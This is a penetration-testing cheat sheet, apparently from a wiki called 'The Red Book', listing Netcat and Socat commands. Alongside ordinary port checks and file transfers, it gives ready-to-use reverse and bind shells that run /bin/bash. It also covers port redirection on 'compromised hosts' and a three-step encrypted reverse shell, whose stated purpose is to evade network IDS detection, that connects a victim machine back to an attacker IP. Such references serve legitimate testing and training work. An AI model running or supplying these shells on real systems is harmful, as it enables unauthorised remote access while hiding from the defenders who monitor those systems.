Skip to content

📕 The Red Book

Netcat & Socat

Netcat & Socat

Netcat (nc) and Socat are versatile utilities for network communication, testing, and debugging. Socat is a more modern, advanced tool that supports encryption, multiple sockets, and bidirectional transfers.

Netcat (`nc`)¶

Basic Connection & Port Scanning¶

Command	Description
`nc -zv <target_ip> <port>`	Check if a port is open (verbose connect mode without sending data)
`nc -zv <target_ip> <port_start>-<port_end>`	Simple port scan over a range of ports
`nc -uv <target_ip> <port>`	Connect to a UDP port

File Transfer¶

Command	Description
On Receiver: `nc -lvnp <port> > file.txt`	Prepare listener to receive file
On Sender: `nc <ip> <port> < file.txt`	Send file to listener
On Receiver: `tar -xvzf - \\| nc -lvnp <port>`	Extract tar archive received over netcat
On Sender: `tar -cvzf - directory/ \\| nc <ip> <port>`	Pack and transfer directory to listener

Shell Bindings¶

Command	Description
Reverse Shell: `nc <ip> <port> -e /bin/bash`	Execute shell and send to IP/Port (OpenBSD)
Bind Shell: `nc -lvnp <port> -e /bin/bash`	Bind shell to local port, waiting for connection

Socat¶

Socat is a command-line utility that establishes two bidirectional byte streams and transfers data between them.

File Transfer¶

Command	Description
On Receiver: `socat TCP4-LISTEN:<port>,reuseaddr open:file.txt,create,append`	Listen on port and save output to file
On Sender: `socat FILE:file.txt TCP4:<ip>:<port>`	Read file and send to remote IP/Port

Interactive Reverse & Bind Shells¶

Unlike Netcat, Socat can pass full terminal attributes (stderr, keyboard signals, window resizing) to provide a fully functional interactive TTY.

Command	Description
TTY Listener: `socat FILE:`tty`,raw,echo=0 TCP-LISTEN:<port>,reuseaddr`	Listen for TTY reverse shell connection
Target Client: `socat TCP:<ip>:<port> EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane`	Connect back with full interactive TTY properties
Bind TTY: `socat TCP-LISTEN:<port>,reuseaddr EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane`	Listen on target and bind a TTY shell
Client Connect: `socat FILE:`tty`,raw,echo=0 TCP:<ip>:<port>`	Connect to target's bound TTY shell

Port Forwarding / Redirection¶

Socat is commonly used for port redirection on compromised hosts.

Command	Description
`socat TCP4-LISTEN:<local_port>,fork TCP4:<remote_ip>:<remote_port>`	Forward local port to a remote service (fork permits multiple connections)
`socat TCP4-LISTEN:<local_port>,fork UDP4:<remote_ip>:<remote_port>`	Relay incoming TCP traffic to a remote UDP port

Encrypted Connections (OpenSSL)¶

Create encrypted reverse shells using SSL/TLS certificates to evade network IDS detection.

# Step 1: Generate a self-signed certificate on the attacker machine
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

# Step 2: Set up an SSL listener on the attacker machine
socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

# Step 3: Connect back from the victim machine
socat OPENSSL:<attacker_ip>:<port>,verify=0 EXEC:"/bin/bash",pty,stderr,setsid,sigint,sane